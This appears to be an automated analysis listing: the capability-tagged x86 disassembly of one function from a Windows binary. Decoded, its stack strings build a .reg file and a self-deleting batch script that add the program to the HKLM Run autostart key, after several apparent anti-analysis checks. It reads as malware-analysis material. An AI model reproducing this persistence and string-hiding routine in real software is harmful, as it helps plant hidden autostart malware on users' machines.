Function at 0x10002430
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1d64
call fcn.10022000
mov eax, dword [0x1002e004]
xor eax, esp
mov dword [esp + 0x1d60], eax
mov eax, dword [ebp + 0x14]
push ebx
push esi
push edi
mov dword [0x1171cb00], eax
mov eax, dword [ebp + 0xc]
push 0x400
mov dword [0x1171cb04], eax
lea eax, [esp + 0x196c]
push 0
push eax
call fcn.10011e00
add esp, 0xc
lea ecx, [esp + 0x1968]
call fcn.10001000
push 0x400
lea eax, [esp + 0x94c]
push 0
push eax
call fcn.10011e00
add esp, 0xc
lea ecx, [esp + 0x948]
call fcn.10001000
push 0x400
lea eax, [esp + 0xd4c]
push 0
push eax
call fcn.10011e00
add esp, 0xc
lea ecx, [esp + 0xd48]
call fcn.10001000
lea edx, [esp + 0xc]
mov word [esp + 0xd], 0x7365
lea ecx, [esp + 0xd48]
mov byte [esp + 0xc], 0x79
mov byte [esp + 0xf], 0
call fcn.10005fb0
mov esi, eax
mov dword [esp + 0x1cf], 0x74656e72
neg esi
mov dword [esp + 0x207], 0x4e4f49
lea ecx, [esp + 0x948]
mov dword [esp + 0x1d8], 0x7265726f
sbb esi, esi
mov dword [esp + 0x201], 0x4c554d45
mov word [esp + 0x1e2], 0x6546
mov dword [esp + 0x1ee], 0x465c6c6f
mov word [esp + 0x1dc], 0x4d5c
mov word [esp + 0x1df], 0x6e69
mov dword [esp + 0x1f8], 0x4f52425f
mov dword [esp + 0x1ca], 0x746e495c
mov word [esp + 0x1e8], 0x4365
mov word [esp + 0x1bd], 0x7261
mov word [esp + 0x1c7], 0x666f
mov dword [esp + 0x1fd], 0x5f524553
mov dword [esp + 0x1c2], 0x6f726369
mov word [esp + 0x1e5], 0x7574
mov word [esp + 0x1f3], 0x5441
mov word [esp + 0x205], 0x5441
mov word [esp + 0x1f6], 0x4552
mov word [esp + 0x1d6], 0x6c70
mov dword [esp + 0x1b9], 0x7774666f
mov word [esp + 0x1c0], 0x4d5c
mov byte [esp + 0x1c9], 0x74
mov dword [esp + 0x1ea], 0x72746e6f
mov byte [esp + 0x1e1], 0x5c
mov byte [esp + 0x1bf], 0x65
mov byte [esp + 0x1de], 0x61
mov byte [esp + 0x1e4], 0x61
mov byte [esp + 0x1e7], 0x72
mov byte [esp + 0x1f2], 0x45
mov byte [esp + 0x1c6], 0x73
mov word [esp + 0x1d3], 0x4520
mov byte [esp + 0x1d5], 0x78
mov byte [esp + 0x1fc], 0x57
mov byte [esp + 0x1f5], 0x55
mov byte [esp + 0x1b8], 0x53
mov byte [esp + 0x1ce], 0x65
call fcn.100066a0
push eax
lea ecx, [esp + 0x7c]
call fcn.1000ea90
push 4
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x270f
push eax
push 4
lea ecx, [esp + 0x84]
call fcn.1000e9d0
push eax
lea edx, [esp + 0x1c8]
lea ecx, [esi - 0x7ffffffe]
call fcn.100010a0
push 0x104
lea eax, [esp + 0x434]
mov dword [esp + 0x17f], 0x53525c45
push 0
push eax
mov dword [esp + 0x18b], 0x64656570
mov dword [esp + 0x182], 0x41575446
mov dword [esp + 0x191], 0x626154
mov word [esp + 0x180], 0x4f53
mov word [esp + 0x18f], 0x7075
mov byte [esp + 0x186], 0x52
call fcn.10011e00
add esp, 0x18
lea eax, [esp + 0x94c]
lea ecx, [esp + 0x424]
push eax
call fcn.1000f4e0
add esp, 8
lea eax, [esp + 0x420]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [esp + 0x420]
call fcn.100067e0
push eax
lea eax, [esp + 0x424]
push eax
push 1
push 0x1002bd5c
lea edx, [esp + 0x174]
lea ecx, [esi - 0x7ffffffe]
call fcn.100010a0
add esp, 0x10
call fcn.10004a70
test al, al
jne 0x10003173
call fcn.10004be0
test al, al
jne 0x10003173
call fcn.10004ce0
test al, al
jne 0x10003173
call fcn.10004e10
test al, al
jne 0x10003173
call fcn.10004ef0
test al, al
jne 0x10003173
call fcn.10004960
test al, al
jne 0x10003173
push 0x1002bd5c
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1b3], 0x206c6564
mov dword [esp + 0x18f], 0x2074756f
mov dword [esp + 0x19c], 0x6f706d69
mov dword [esp + 0x1aa], 0x22206c65
mov word [esp + 0x18a], 0x740a
mov dword [esp + 0x194], 0xa0d3030
mov dword [esp + 0x183], 0x6f206f68
mov word [esp + 0x1a1], 0x2074
mov dword [esp + 0x1a6], 0x640a0d22
mov dword [esp + 0x1ae], 0xd227325
mov dword [esp + 0x198], 0x20676572
mov dword [esp + 0x1b8], 0x227325
mov word [esp + 0x187], 0x6666
mov word [esp + 0x1a4], 0x7325
mov word [esp + 0x180], 0x6540
mov byte [esp + 0x1a0], 0x72
mov word [esp + 0x18d], 0x656d
mov byte [esp + 0x193], 0x36
mov byte [esp + 0x18c], 0x69
mov byte [esp + 0x189], 0xd
mov byte [esp + 0x1a3], 0x22
mov byte [esp + 0x182], 0x63
mov byte [esp + 0x1b2], 0xa
mov byte [esp + 0x1b7], 0x22
call fcn.1000ea90
lea edx, [esp + 0xc]
lea ecx, [esp + 0xd48]
call fcn.10005fb0
mov dword [esp + 0xa6], 0x65522073
mov dword [esp + 0xa1], 0x6f646e69
test eax, eax
jne 0x10002ad6
mov byte [esp + 0x126], al
lea eax, [esp + 0xa0]
mov byte [esp + 0xfa], 0x72
mov word [esp + 0xd5], 0x4341
mov dword [esp + 0x119], 0x6174732d
mov word [esp + 0xd2], 0x5f4c
mov dword [esp + 0x110], 0x225c223d
mov dword [esp + 0xd9], 0x535c454e
mov dword [esp + 0xbb], 0x6e6f6973
mov byte [esp + 0x10c], 0x22
mov word [esp + 0xad], 0x7274
mov word [esp + 0xdd], 0x464f
mov byte [esp + 0xb1], 0x45
mov dword [esp + 0xe6], 0x6f726369
mov dword [esp + 0xc8], 0x454b485b
mov dword [esp + 0xb7], 0x72655620
mov dword [esp + 0xb2], 0x6f746964
mov word [esp + 0xed], 0x5c74
mov dword [esp + 0x114], 0x225c7325
mov dword [esp + 0x11d], 0x70757472
mov dword [esp + 0xc1], 0xd30302e
mov dword [esp + 0xf0], 0x6f646e69
mov word [esp + 0xaa], 0x6967
mov word [esp + 0xf8], 0x7275
mov byte [esp + 0x118], 0x20
mov dword [esp + 0x105], 0x6e75525c
mov word [esp + 0xbf], 0x3520
mov word [esp + 0xfe], 0x6556
mov byte [esp + 0xef], 0x57
mov dword [esp + 0x122], 0xa0d0a0d
mov word [esp + 0xea], 0x6f73
mov dword [esp + 0xcd], 0x434f4c5f
mov dword [esp + 0x101], 0x6e6f6973
mov dword [esp + 0xdf], 0x52415754
mov byte [esp + 0xb6], 0x72
mov word [esp + 0xfb], 0x6e65
mov word [esp + 0xc6], 0xa0d
mov byte [esp + 0xd4], 0x4d
mov word [esp + 0xaf], 0x2079
mov dword [esp + 0xf4], 0x435c7377
mov byte [esp + 0xec], 0x66
mov word [esp + 0x10a], 0xa0d
mov word [esp + 0x10d], 0x7325
mov word [esp + 0xe3], 0x5c45
mov byte [esp + 0x100], 0x72
mov byte [esp + 0xac], 0x73
mov word [esp + 0xd7], 0x4948
mov byte [esp + 0x121], 0x22
mov byte [esp + 0xd1], 0x41
mov byte [esp + 0xcc], 0x59
mov byte [esp + 0x10f], 0x22
mov byte [esp + 0x109], 0x5d
mov byte [esp + 0xfd], 0x74
mov byte [esp + 0xe5], 0x4d
mov byte [esp + 0xc5], 0xa
jmp 0x10002c9e
mov dword [esp + 0x11e], 0xd227075
lea eax, [esp + 0xa0]
mov dword [esp + 0xfa], 0x56746e65
mov dword [esp + 0xc7], 0x4b485b0a
mov dword [esp + 0xab], 0x72747369
mov dword [esp + 0xe6], 0x736f7263
mov dword [esp + 0xfe], 0x69737265
mov byte [esp + 0x112], 0x22
mov word [esp + 0xd0], 0x5252
mov dword [esp + 0xbd], 0x35206e6f
mov dword [esp + 0xc2], 0xa0d3030
mov dword [esp + 0xb0], 0x69644520
mov dword [esp + 0xb9], 0x69737265
mov dword [esp + 0xdc], 0x5754464f
mov dword [esp + 0xb5], 0x5620726f
mov dword [esp + 0xee], 0x646e6957
mov word [esp + 0x119], 0x7473
mov dword [esp + 0xd6], 0x52455355
mov byte [esp + 0x125], 0
mov dword [esp + 0xd2], 0x5f544e45
mov dword [esp + 0xea], 0x5c74666f
mov dword [esp + 0xf6], 0x72727543
mov dword [esp + 0xcb], 0x435f5945
mov dword [esp + 0x108], 0x220a0d5d
mov dword [esp + 0x113], 0x225c7325
mov byte [esp + 0x122], 0xa
mov word [esp + 0x11c], 0x7472
mov word [esp + 0xe1], 0x4552
mov dword [esp + 0x10c], 0x3d227325
mov byte [esp + 0x11b], 0x61
mov dword [esp + 0x102], 0x525c6e6f
mov dword [esp + 0xf2], 0x5c73776f
mov byte [esp + 0xe0], 0x41
mov byte [esp + 0xaa], 0x67
mov word [esp + 0x110], 0x5c22
mov word [esp + 0xe4], 0x694d
mov byte [esp + 0xe3], 0x5c
mov word [esp + 0x117], 0x2d20
mov byte [esp + 0xcf], 0x55
mov byte [esp + 0xc1], 0x2e
mov byte [esp + 0xc6], 0xd
mov word [esp + 0x106], 0x6e75
mov byte [esp + 0xaf], 0x79
mov word [esp + 0xda], 0x535c
mov word [esp + 0x123], 0xa0d
mov byte [esp + 0xb4], 0x74
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0xa4], 0x57
mov byte [esp + 0xa9], 0x77
call fcn.1000f6f0
push 0x104
lea eax, [esp + 0x31c]
push 0
push eax
call fcn.10011e00
add esp, 0xc
lea eax, [esp + 0x210]
push 0x104
push 0
push eax
call fcn.10011e00
add esp, 0xc
lea eax, [esp + 0x1148]
push 0x410
push 0
push eax
call fcn.10011e00
add esp, 0xc
lea eax, [esp + 0x1558]
push 0x410
push 0
push eax
call fcn.10011e00
add esp, 0xc
lea eax, [esp + 0x840]
push 0x104
push 0
push eax
call fcn.10011e00
add esp, 0xc
lea eax, [esp + 0x528]
push 0x104
push 0
push eax
call fcn.10011e00
add esp, 0xc
lea eax, [esp + 0x630]
push 0x104
push 0
push eax
call fcn.10011e00
add esp, 0xc
mov dword [esp + 0x135], 0x504d45
lea eax, [esp + 0x840]
mov byte [esp + 0x134], 0x54
push 0x104
push eax
lea eax, [esp + 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor ecx, ecx
mov word [esp + 0x12c], 0x6561
cmp ecx, eax
mov dword [esp + 0x12f], 0x79756f
lea eax, [esp + 0x840]
mov byte [esp + 0x12e], 0x69
sbb edi, edi
mov dword [esp + 0x15a], 0x77767473
lea edx, [ecx + 9]
mov dword [esp + 0x152], 0x6d6c6b6a
and edi, eax
mov word [esp + 0x14c], 0x6362
mov word [esp + 0x14f], 0x6766
mov word [esp + 0x157], 0x7170
mov byte [esp + 0x159], 0x72
mov word [esp + 0x15f], 0x7a
mov byte [esp + 0x15e], 0x78
mov byte [esp + 0x151], 0x68
mov byte [esp + 0x156], 0x6e
mov byte [esp + 0x14e], 0x64
call fcn.1000f560
mov esi, eax
xor ebx, ebx
test esi, esi
js 0x10002e65
nop dword [eax]
test bl, 1
je 0x10002e48
mov ecx, 5
call fcn.1000f580
mov al, byte [esp + eax + 0x12c]
jmp 0x10002e59
mov ecx, 0x13
call fcn.1000f580
mov al, byte [esp + eax + 0x14c]
mov byte [esp + ebx + 0x528], al
inc ebx
cmp ebx, esi
jle 0x10002e30
xor ebx, ebx
test esi, esi
js 0x10002ea5
nop dword [eax + eax]
test bl, 1
je 0x10002e88
mov ecx, 5
call fcn.1000f580
mov al, byte [esp + eax + 0x12c]
jmp 0x10002e99
mov ecx, 0x13
call fcn.1000f580
mov al, byte [esp + eax + 0x14c]
mov byte [esp + ebx + 0x630], al
inc ebx
cmp ebx, esi
jle 0x10002e70
push 0xffffffffffffffff
lea eax, [esp + 0x140]
mov dword [esp + 0x140], 0x7461622e
push eax
lea eax, [esp + 0x530]
mov byte [esp + 0x148], 0
push 0x104
push eax
call fcn.1001459d
push 0xffffffffffffffff
push edi
lea eax, [esp + 0x330]
push 0x104
push eax
call fcn.10014659
push 0xffffffffffffffff
push 0x1002bd74
lea eax, [esp + 0x340]
push 0x104
push eax
call fcn.1001459d
push 0xffffffffffffffff
lea eax, [esp + 0x55c]
push eax
lea eax, [esp + 0x350]
push 0x104
push eax
call fcn.1001459d
add esp, 0x40
mov dword [esp + 0x145], 0x676572
lea eax, [esp + 0x144]
mov byte [esp + 0x144], 0x2e
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x638]
push 0x104
push eax
call fcn.1001459d
push 0xffffffffffffffff
push edi
lea eax, [esp + 0x228]
push 0x104
push eax
call fcn.10014659
push 0xffffffffffffffff
push 0x1002bd74
lea eax, [esp + 0x238]
push 0x104
push eax
call fcn.1001459d
push 0xffffffffffffffff
lea eax, [esp + 0x664]
push eax
lea eax, [esp + 0x248]
push 0x104
push eax
call fcn.1001459d
add esp, 0x40
lea eax, [esp + 0x318]
push eax
lea eax, [esp + 0x214]
push eax
push eax
lea eax, [esp + 0x188]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x115c]
push 0x410
push eax
call fcn.1000f490
add esp, 0x1c
lea eax, [esp + 0x738]
push 0x104
push 0
push eax
call fcn.10011e00
add esp, 0xc
xor eax, eax
xor ecx, ecx
cmp eax, 0x102
jae 0x1000300f
mov dl, byte [esp + ecx + 0x948]
mov byte [esp + eax + 0x738], dl
test dl, dl
je 0x10003018
cmp dl, 0x5c
jne 0x1000300e
inc eax
mov byte [esp + eax + 0x738], dl
inc eax
inc ecx
cmp ecx, 0x104
jb 0x10002fe8
lea eax, [esp + 0x738]
push eax
lea eax, [esp + 0x196c]
push eax
lea ecx, [esp + 0x20]
call fcn.1000e9d0
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x1568]
push 0x410
push eax
call fcn.1000f490
add esp, 0x18
lea eax, [esp + 0x318]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x1148]
mov esi, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003075
push 0
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
lea eax, [esp + 0x1154]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, esi
call fcn.10005ad0
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x1558]
mov esi, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100030c8
push 0
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
lea eax, [esp + 0x1564]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, esi
call fcn.10005ad0
xor eax, eax
mov dword [esp + 0x30], 0x44
mov word [esp + 0x72], ax
xorps xmm0, xmm0
mov word [esp + 0x60], ax
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x34]
movlpd qword [esp + 0x38], xmm0
push eax
push 0
push 0
push 0x50
push 0
push 0
push 0
lea eax, [esp + 0x338]
movlpd qword [esp + 0x5c], xmm0
push eax
push 0
movlpd qword [esp + 0x6c], xmm0
movlpd qword [esp + 0x74], xmm0
movlpd qword [esp + 0x7c], xmm0
movlpd qword [esp + 0x8a], xmm0
movlpd qword [esp + 0x92], xmm0
mov dword [esp + 0x84], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea ecx, [esp + 0x18]
call fcn.1000ea10
lea ecx, [esp + 0x78]
call fcn.1000ea10
mov ecx, dword [esp + 0x1d6c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1001026b
mov esp, ebp
pop ebp
ret